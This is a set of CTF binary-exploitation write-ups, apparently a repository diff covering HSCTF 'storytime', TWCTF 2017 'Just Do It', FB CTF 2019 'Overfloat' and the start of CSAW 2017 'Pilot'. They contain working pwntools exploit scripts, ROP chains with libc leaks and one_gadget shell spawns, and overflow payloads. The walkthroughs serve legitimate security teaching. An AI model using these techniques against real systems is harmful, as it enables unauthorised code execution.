0x0000000000400701 : pop rsi ; pop r15 ; ret
Now for the last register (1 in rdi) we can jump to 0x400601 which is in the middle of the end function:
void end(void)
{
write(1,"The End!\n",0x28);
return;
}
The instruction we jump back to will **mov 0x1 into edi** and then call **write** which will give us our infoleak:
004005fa 48 8d 35 LEA RSI,[s_The_End!_00400761] = "The End!\n"
60 01 00 00
00400601 bf 01 00 MOV EDI,0x1
00 00
00400606 e8 95 fe CALL write ssize_t write(int __fd, void * _
ff ff
0040060b 90 NOP
0040060c 5d POP RBP
0040060d c3 RET
So it will return and then continue with our ropchain, however before it does that, it will pop a value off of our chain into the rbp register so we will need to include a 8 bytes qword in our ropchain at that point. for where to jump to, we choose **0x40060e** since it is the beginning of the **climax** function:
![](50.png)
void climax(void)
{
undefined local_38 [48];
read(0,local_38,4000);
return;
}
This function will give us a buffer overflow where we can overwrite the return address with a onegadget and spawn a shell. Now let's find the onegadget from the base of libc, to choose which ones to use we can just guess and check
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
So with all of this, we end up with the following exploit:
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ vim exploit.py
from pwn import *
target = process('./storytime')
libc = ELF('libc.so.6')
popRsiR15 = p64(0x400701)
writeGot = p64(0x601018)
payload = b"\x00"*0x38
# Pop the got entry of write into r15
payload += popRsiR15
payload += writeGot
payload += p64(0x3030303030303030) # Filler value will be popped into r15
# Right before write call in end
payload += p64(0x400601)
# Filler value that will be popped off in end
payload += p64(0x3030303030303030)
# Address of climax, we will exploit another buffer overflow to use the rop gadget
payload += p64(0x40060e)
target.sendline(payload)
print(target.recvuntil("Tell me a story: \n"))
# Scan in and filter out the libc infoleak, calculate base of libc
leak = u64(target.recv(8))
base = leak - libc.symbols["write"]
print(hex(base))
# Calculate the oneshot gadget
oneshot = base + 0x4526a
# Make the payload for the onshot gadget
payload = b"\x00"*0x38 + p64(oneshot)
# Send it and get a shell
target.sendline(payload)
target.interactive()
[ 192.168.0.18/24 ] [ /dev/pts/17 ] [binexp/2/hs]
→ python3 original.py
[+] Starting local process './storytime': pid 1570923
[*] '/home/nothing/binexp/2/hs/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
b'HSCTF PWNNNNNNNNNNNNNNNNNNNN\nTell me a story: \n'
0x7f1b59432e30
[*] Switching to interactive mode
@\xa0RY\x1b\x7f\x00\xf0KY\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xc5_Y\x1b\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0[*] Got EOF while reading in interactive
$ cat flag.txt
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
And that's it ! we managed to capture the flag.
## Title
text
` ![]()
## Title
text
` ![]()

272
2/just.md Normal file
View file

@ -0,0 +1,272 @@
# Tokyo Western 2017 - Just Do It!
## Downloading the binary file
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tw17_justdoit/just_do_it
--2021-02-23 15:25:50-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/04-bof_variable/tw17_justdoit/just_do_it
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tw17_justdoit/just_do_it [following]
--2021-02-23 15:25:51-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/04-bof_variable/tw17_justdoit/just_do_it
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7792 (7.6K) [application/octet-stream]
Saving to: just_do_it
just_do_it 100%[=======================================================================================================================================================================================================>] 7.61K --.-KB/s in 0s
2021-02-23 15:25:51 (35.9 MB/s) - just_do_it saved [7792/7792]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
→ file just_do_it
just_do_it: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cf72d1d758e59a5b9912e0e83c3af92175c6f629, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
→ chmod +x just_do_it
` ![]()
## Solution
First of all, let's run the binary file to see what it does:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
→ ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
not_the_password
Invalid Password, Try Again!
Again, this is the kind of binary files that wants us to give them the correct password, so it's time to checksec it and see what ghidra finds:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
→ pwn checksec just_do_it
[*] '/home/nothing/binexp/2/justdoit/just_do_it'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
` ![](9.png)
undefined4 main(void)
{
char *pcVar1;
int iVar2;
char local_28 [16];
FILE *local_18;
char *local_14;
undefined *local_c;
local_c = &stack0x00000004;
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
local_14 = failed_message;
local_18 = fopen("flag.txt","r");
if (local_18 == (FILE *)0x0) {
perror("file open error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
pcVar1 = fgets(flag,0x30,local_18);
if (pcVar1 == (char *)0x0) {
perror("file read error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("Welcome my secret service. Do you know the password?");
puts("Input the password.");
pcVar1 = fgets(local_28,0x20,stdin);
if (pcVar1 == (char *)0x0) {
perror("input error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
iVar2 = strcmp(local_28,PASSWORD);
if (iVar2 == 0) {
local_14 = success_message;
}
puts(local_14);
return 0;
}
here we have the code of the main function and we see something: first of all it checks if flag.txt is here, and then it prompts for our text input, putting it in the local_28 variable, and then later on, our input text (local_28) gets compared to the PASSWORD variable, so let's double click it in ghidra to see what it contains:
![](10.png)
PASSWORD XREF[2]: Entry Point(*), main:080486d0(R)
0804a03c c8 87 04 08 addr s_P@SSW0RD_080487c8 = "P@SSW0RD"
now in the code we see something particular:
pcVar1 = fgets(local_28,0x20,stdin);
if (pcVar1 == (char *)0x0) {
perror("input error.\n");
/* WARNING: Subroutine does not return */
exit(0);
So our input text passes into an fget call, which means that even though we have the password, the fgets call will append a newline character (0x0a) at the end, so to pass the check we need a nullbyte after P@SSW0RD, to do so we will use python:
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit]
→ ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
P@SSW0RD
Invalid Password, Try Again!
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit]
→ python -c 'print "P@SSW0RD" + "\x00"'
P@SSW0RD
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/justdoit]
→ python -c 'print "P@SSW0RD" + "\x00"' | ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
Correct Password, Welcome!
Now here we basically managed to pass the check, but that's not it, we see from the disassembly code that the fgets call can input 32 bytes worth of data (looking at the stack below : 0x28 - 0x18 = 16 (since it's hexadecimal)).
![](11.png)
with this we can reach the output message being printed with a puts call, right before the function returns, so let's take another look at the code portion where flag.txt is handled:
local_18 = fopen("flag.txt","r");
if (local_18 == (FILE *)0x0) {
perror("file open error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
pcVar1 = fgets(flag,0x30,local_18);
if (pcVar1 == (char *)0x0) {
perror("file read error.\n");
/* WARNING: Subroutine does not return */
exit(0);
}
What we see here is that after it opens the flag.txt file, it scans in 48 bytes (here its 0x30 bytes in hexa). So the idea here is to find the address of where the flag file is stored, and then, to overwrite the value of the output message (puts call) with it to print the contents of flag:
flag XREF[2]: Entry Point(*), main:08048650(*)
0804a080 00 00 00 undefine
00 00 00
00 00 00
0804a080 00 undefined100h [0] XREF[2]: Entry Point(*), main:08048650(*)
0804a081 00 undefined100h [1]
[...]
0804a0aa 00 undefined100h [42]
0804a0ab 00 undefined100h [43]
0804a0ac 00 undefined100h [44]
0804a0ad 00 undefined100h [45]
0804a0ae 00 undefined100h [46]
0804a0af 00 undefined100h [47]
After double clicking on the flag variable, we get the code above, so we know that flag is at the address 0x0804a080, now if we look at the beginning of main, we see that the input variable (local_28) and the output message (local 14) are separated by 20 bytes worth of data:
![](12.png)
**************************************************************
* FUNCTION *
**************************************************************
undefined main(undefined1 param_1)
undefined AL:1
undefined1 Stack[0x4]:1 param_1 XREF[1]: 080485bb(*)
undefined4 Stack[0x0]:4 local_res0 XREF[1]: 080485c2(R)
undefined4 Stack[-0xc]:4 local_c XREF[1]: 08048704(R)
undefined4 Stack[-0x14]:4 local_14 XREF[2]: 0804860d(W),
080486ee(W)
undefined4 Stack[-0x18]:4 local_18 XREF[3]: 08048625(W),
08048628(R),
0804864b(R)
undefined1 Stack[-0x28]:1 local_28 XREF[2]: 080486a6(*),
080486d9(*)
main XREF[4]: Entry Point(*),
_start:080484d7(*), 0804886c,
080488c8(*)
080485bb 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4]
Now let's highlight just the parts we need:
![](13.png)
0x28 - 0x14 = 20 bytes, so let's create a payload that has 20 null bytes:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
→ python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"'
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
→ python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 80a0 0408 0a .........
here we can see with xxd what the payload looks like, now let's try it on the binary:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/justdoit]
→ python -c 'print "\x00"*20 + "\x80\xa0\x04\x08"' | ./just_do_it
Welcome my secret service. Do you know the password?
Input the password.
flag{g0ttem_b0yz}
And there we have it!
## Title
text
` ![]()
## Title
text
` ![]()

396
2/overf.md Normal file
View file

@ -0,0 +1,396 @@
# Facebook CTF 2019 Overfloat
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/overfloat
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/libc-2.27.so
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/fb19_overfloat/core
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ l
total 4.3M
drwxr-xr-x 2 nothing nothing 4.0K Mar 6 19:11 .
drwxr-xr-x 12 nothing nothing 4.0K Mar 6 19:10 ..
-rw-r--r-- 1 nothing nothing 2.3M Mar 6 19:11 core
-rw-r--r-- 1 nothing nothing 2.0M Mar 6 19:10 libc-2.27.so
-rw-r--r-- 1 nothing nothing 14K Mar 6 19:10 overfloat
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ file overfloat
overfloat: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8ae8ef04d2948115c648531ee0c12ba292b92ae4, not stripped
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ chmod +x overfloat
` ![]()
## Solution
Now let's start off by testing the binary after using pwn checksec on it:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ pwn checksec overfloat
[*] '/home/nothing/binexp/2/overf/overfloat'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ ./overfloat
_ .--.
( ` )
.-' `--,
_..----.. ( )`-.
.'_|` _|` _|( .__, )
/_| _| _| _( (_, .-'
;| _| _| _| '-'__,--'`--'
| _| _| _| _| |
_ || _| _| _| _|
_( `--.\_| _| _| _|/
.-' )--,| _| _|.`
(__, (_ ) )_| _| /
`-.__.\ _,--'\|__|__/
;____;
\YT/
||
|""|
'=='
WHERE WOULD YOU LIKE TO GO?
LAT[0]: 1
LON[0]: 2
LAT[1]: 3
LON[1]: 4
LAT[2]: 5
LON[2]: 6
LAT[3]: 7
LON[3]: 8
LAT[4]: 9
LON[4]: 10
LAT[5]: 0
LON[5]: 11
LAT[6]: 111111111111111111111111111111
LON[6]: 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
LAT[7]: LON[7]: 12334556778
LAT[8]: ^C
So we cna see that we are given a 64bit, dynamically linked binary with a non-executable stack (NX). In addition to that, we are given the libc file **libc-2.27.so**. Running the program we see that it prompts us for latitude / longitude pairs, so let's check out what we can find when we reverse the file with ghidra:
![](46.png)
undefined8 main(void)
{
undefined local_38 [48];
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
alarm(0x1e);
__sysv_signal(0xe,timeout);
puts(
" _ .--. \n ( ` ) \n .-\' `--, \n _..----.. ( )`-. \n .\'_|` _|` _|( .__, )\n /_| _| _| _( (_, .-\' \n ;| _| _| _| \'-\'__,--\'`--\' \n | _| _| _| _| | \n _ || _| _| _| _| \n _( `--.\\_| _| _| _|/ \n .-\' )--,| _| _|.` \n (__, (_ ) )_| _| / \n `-.__.\\ _,--\'\\|__|__/ \n ;____; \n \\YT/ \n || \n |\"\"| \n \'==\' \n\nWHERE WOULD YOU LIKE TO GO?"
);
memset(local_38,0,0x28);
chart_course(local_38);
puts("BON VOYAGE!");
return 0;
}
Looking through the code here, we see that the part that's interesting is the char_course function, which takes the pointer local_38 as an arguement. When we look at the chart_course dissassembled function in ghidra we see the following:
void chart_course(long param_1)
{
int iVar1;
uint uVar2;
double dVar3;
char local_78 [104];
float local_10;
uint local_c;
local_c = 0;
do {
if ((local_c & 1) == 0) {
iVar1 = (int)local_c / 2;
uVar2 = iVar1 + ((iVar1 / 10 + ((int)(local_c - ((int)local_c >> 0x1f)) >> 0x1f)) -
(iVar1 >> 0x1f)) * -10;
printf("LAT[%d]: ",(ulong)uVar2,(ulong)uVar2);
}
else {
iVar1 = (int)local_c / 2;
uVar2 = iVar1 + ((iVar1 / 10 + ((int)(local_c - ((int)local_c >> 0x1f)) >> 0x1f)) -
(iVar1 >> 0x1f)) * -10;
printf("LON[%d]: ",(ulong)uVar2,(ulong)uVar2,(ulong)uVar2);
}
fgets(local_78,100,stdin);
iVar1 = strncmp(local_78,"done",4);
if (iVar1 == 0) {
if ((local_c & 1) == 0) {
return;
}
puts("WHERES THE LONGITUDE?");
local_c = local_c - 1;
}
else {
dVar3 = atof(local_78);
local_10 = (float)dVar3;
memset(local_78,0,100);
*(float *)(param_1 + (long)(int)local_c * 4) = local_10;
}
local_c = local_c + 1;
} while( true );
}
Here we see that our data is being scanned into the char ptr that is being passed in the function as an arguement (param_1) It scans 100 bytes of data into local_78 thanks to the memset() function call
dVar3 = atof(local_78);
local_10 = (float)dVar3;
**memset(local_78,0,100);**
*(float *)(param_1 + (long)(int)local_c * 4) = local_10;
after the memset call, it is setting ptr + (x * 4) equal to **float** where x is equal to the amount of floats already scanned in. There are no checks to see if the buffer gets overflowed, therefore, we have our buffer overflow right here.
That is ran within a do{}while() loop, that on paper can run forever since we have **true** as the condition. However there the termination condition is if the first 4 bytes of our input are **done** as you can see below:
fgets(local_78,100,stdin);
iVar1 = strncmp(local_78,"done",4);
Therefore, keep in mind that the buffer that we are overflowing is from the stack in the main function, so we need to return to the main function before we can get code execution. Now let's take a look at the stack in ghidra:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1
undefined1 Stack[-0x38]:1 local_38 XREF[2]: 004009ed(*),
00400a03(*)
undefined4 Stack[-0x3c]:4 local_3c XREF[1]: 0040099b(W)
undefined8 Stack[-0x48]:8 local_48 XREF[1]: 0040099e(W)
main XREF[5]: Entry Point(*),
_start:0040075d(*),
_start:0040075d(*), 00400ea0,
00400f70(*)
00400993 55 PUSH RBP
Looking at the stack, there is nothing between local_38 (the variable of our input text) and the saved base pointer. Add on 8 bytes for the saved base pointer to the 48 bytes for the space, of our local_48 variable, and we get a total of **56** bytes to reach the return address. Now what code do we execute ? We're going to go with a ROP Chain using gadgets and imported functions from the binary since PIE is disabled, therefore we don't need an infoleak to do this. The problem is that the binary is not too big so we don't have the gadgets we would need to spawn a shell.
To counter this, we can setup a **puts** call because it is an imported function, therefore we can call it with the **got address of puts** we can get a libc infoleak and then loop back around to the start of **main** which would allow us to exploit the same bug again witha libc infoleak. We can then write a onegadget to the return address to actually spawn a shell.
****[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ objdump -D overfloat| grep puts
0000000000400690 <****puts@plt>:
400690: ff 25 8a 19 20 00 jmp *0x20198a(%rip) # 602020 <****puts@GLIBC_2.2.5>
400846: e8 45 fe ff ff call 400690 <****puts@plt>
400933: e8 58 fd ff ff call 400690 <****puts@plt>
4009e8: e8 a3 fc ff ff call 400690 <****puts@plt>
400a14: e8 77 fc ff ff call 400690 <****puts@plt>
So here we have the plt addrets of **puts** as **0x400690** Next we need the got entry address for puts:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ objdump -R overfloat| grep puts
0000000000602020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
Now that we have the got entry address, we need a gadget that pops an arguement into rdi and then return:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ ROPgadget --binary overfloat| grep ": pop rdi"
0x0000000000400a83 : pop rdi ; ret
After we get the libc infoleak, we can just subtract the offset of puts from it to get the libc base. The only part that remains is the onegadget, check out the previous babyboi writeup to know how to set it up [here](bboi.html):
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
And with this, we have everything we need to build our exploit. Since all of our inputs are interpreted as floats, We have to jump through a few hoops to get our inputs correctly:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/overf]
→ vim exploit.py
from pwn import *
import struct
# values of the rop chain
putsPlt = 0x400690
putsGot = 0x602020
popRdi = 0x400a83
startMain = 0x400993
oneShot = 0x4f2c5
#helper functions to help with the float input
pf = lambda x: struct.pack('f', x)
uf = lambda x: struct.unpack('f', x)[0]
#target process
target = process('./overfloat')
libc = ELF('libc-2.27.so')
#helper function to send input:
def sendVal(x):
v1 = x & ((2**32) - 1)
v2 = x >> 32
target.sendline(str(uf(p32(v1))))
target.sendline(str(uf(p32(v2))))
#fill up the space between the start of the input and the return address
for i in range(7):
sendVal(0xdeadbeefdeadbeef)
#send the ropchain to print the libc address of puts
#loop around to the start of main
sendVal(popRdi)
sendVal(putsGot)
sendVal(putsPlt)
sendVal(startMain)
# Send done so our code executes
target.sendline(b'done')
# Print out the target output
print(target.recvuntil(b'BON VOYAGE!\n'))
# Scan in, filter out the libc infoleak, calculate the base
leak = target.recv(6)
leak = u64(leak + b"\x00"*(8-len(leak)))
base = leak - libc.symbols['puts']
print("libc base: " + hex(base))
for i in range(7):
sendVal(0xdeadbeefdeadbeef)
# Overwrite the return address with a onegadget
sendVal(base + oneShot)
# Send done so our rop chain executes
target.sendline(b'done')
target.interactive()
Now let's test it:
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/overf]
→ l
total 4.3M
drwxr-xr-x 2 nothing nothing 4.0K Mar 6 20:34 .
drwxr-xr-x 12 nothing nothing 4.0K Mar 6 19:10 ..
-rw-r--r-- 1 nothing nothing 2.3M Mar 6 19:11 core
-rw-r--r-- 1 nothing nothing 1.3K Mar 6 20:34 exploit.py
-rw-r--r-- 1 nothing nothing 2.0M Mar 6 19:10 libc-2.27.so
-rwxr-xr-x 1 nothing nothing 14K Mar 6 19:10 overfloat
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [binexp/2/overf]
→ python3 exploit.py
[+] Starting local process './overfloat': pid 2897697
[*] '/home/nothing/binexp/2/overf/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
b' _ .--. \n ( ` ) \n .-\' `--, \n _..----.. ( )`-. \n .\'_|` _|` _|( .__, )\n /_| _| _| _( (_, .-\' \n ;| _| _| _| \'-\'__,--\'`--\' \n | _| _| _| _| | \n _ || _| _| _| _| \n _( `--.\\_| _| _| _|/ \n .-\' )--,| _| _|.` \n (__, (_ ) )_| _| / \n `-.__.\\ _,--\'\\|__|__/ \n ;____; \n \\YT/ \n || \n |""| \n \'==\' \n\nWHERE WOULD YOU LIKE TO GO?\nLAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: LON[8]: LAT[9]: LON[9]: LAT[0]: LON[0]: LAT[1]: BON VOYAGE!\n'
libc base: 0x7f4b371d8310
[*] Switching to interactive mode
_ .--.
( ` )
.-' `--,
_..----.. ( )`-.
.'_|` _|` _|( .__, )
/_| _| _| _( (_, .-'
;| _| _| _| '-'__,--'`--'
| _| _| _| _| |
_ || _| _| _| _|
_( `--.\_| _| _| _|/
.-' )--,| _| _|.`
(__, (_ ) )_| _| /
`-.__.\ _,--'\|__|__/
;____;
\YT/
||
|""|
'=='
WHERE WOULD YOU LIKE TO GO?
LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE!
[*] Got EOF while reading in interactive
$ cat flag
flag{g0ttem_b0yz}
And that's it! We have been able to spawn a shell and print the flag.
## Title
text
` ![]()
## Title
text
` ![]()

513
2/pilot.md Normal file
View file

@ -0,0 +1,513 @@
# CSAW 2017 Pilot
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/csaw17_pilot/pilot
--2021-03-01 14:32:43-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/06-bof_shellcode/csaw17_pilot/pilot
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/csaw17_pilot/pilot [following]
--2021-03-01 14:32:44-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/06-bof_shellcode/csaw17_pilot/pilot
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10472 (10K) [application/octet-stream]
Saving to: pilot
pilot 100%[=================================================================>] 10.23K --.-KB/s in 0.002s
2021-03-01 14:32:44 (5.39 MB/s) - pilot saved [10472/10472]
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ file pilot
pilot: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ed26a43b94fd3ff1dd15964e4106df72c01dc6c, stripped
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ chmod +x pilot
` ![]()
## Solution
First let's run the binary to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffee9a9c6c0
[*]Command:ls
[*]There are no commands....
[*]Mission Failed....
[ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/pilot]
→ ./pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7ffeeecbfee0
[*]Command:help
The binary basically prints out text with an interesting 'location' memory address, then we enter a command and either it gives us 'mission failed' or it might give us something else. Let's inspect it in ghidra:
![](22.png)
Now unlike the previous challenges, the main function called isn't called 'main' instead it is called 'FUN_004009a6'. Now let's inspect the parts of the code that are interesting:
sVar2 = read(0,local_28,0x40);
Now here we can see that it scans 0x40 bytes worth of input into the local_28 variable and this variable can only hold 32 bytes worth of input, so this is a buffer overflow vulnerability. The address that is being printed is an infoleak for the start of our input in memory on the stack:
![](23.png)
Now that we know that our local input variable is local_28 let's look at the stack layout in ghidra:
**************************************************************
* FUNCTION *
**************************************************************
undefined FUN_004009a6()
undefined AL:1 <****RETURN>
undefined1 Stack[-0x28]:1 local_28 XREF[2]: 00400aa4(*),
00400acf(*)
FUN_004009a6 XREF[4]: entry:004008cd(*),
entry:004008cd(*), 00400de0,
00400e80(*)
004009a6 55 PUSH RBP
Here we don't see anything between the start of our input and the return address, so this means that we should be able to use the overflow vulnerability to overwrite the return address to get code execution. so let's inspect that from gdb, we will set a breakpoint right after the read call, and look at the memory there:
00400ae0 e8 3b fd CALL read ssize_t read(int __fd, void * __
ff ff
00400ae5 48 83 f8 04 CMP RAX,0x4
The breakpoint will be at 0x00400ae5 because it's right after the read call:
[ 192.168.0.18/24 ] [ /dev/pts/54 ] [binexp/2/pilot]
→ gdb ./pilot
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./pilot...
(No debugging symbols found in ./pilot)
gef➤ b *0x400ae5
Breakpoint 1 at 0x400ae5
gef➤ r
Starting program: /home/nothing/binexp/2/pilot/pilot
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:0x7fffffffdf30
[*]Command:13371337
Breakpoint 1, 0x0000000000400ae5 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x9
$rbx : 0x0000000000400b90 → push r15
$rcx : 0x00007ffff7ce0052 → 0x5677fffff0003d48 ("H="?)
$rdx : 0x40
$rsp : 0x00007fffffffdf30 → 0x3733333137333331 ("13371337"?)
$rbp : 0x00007fffffffdf50 → 0x0000000000000000
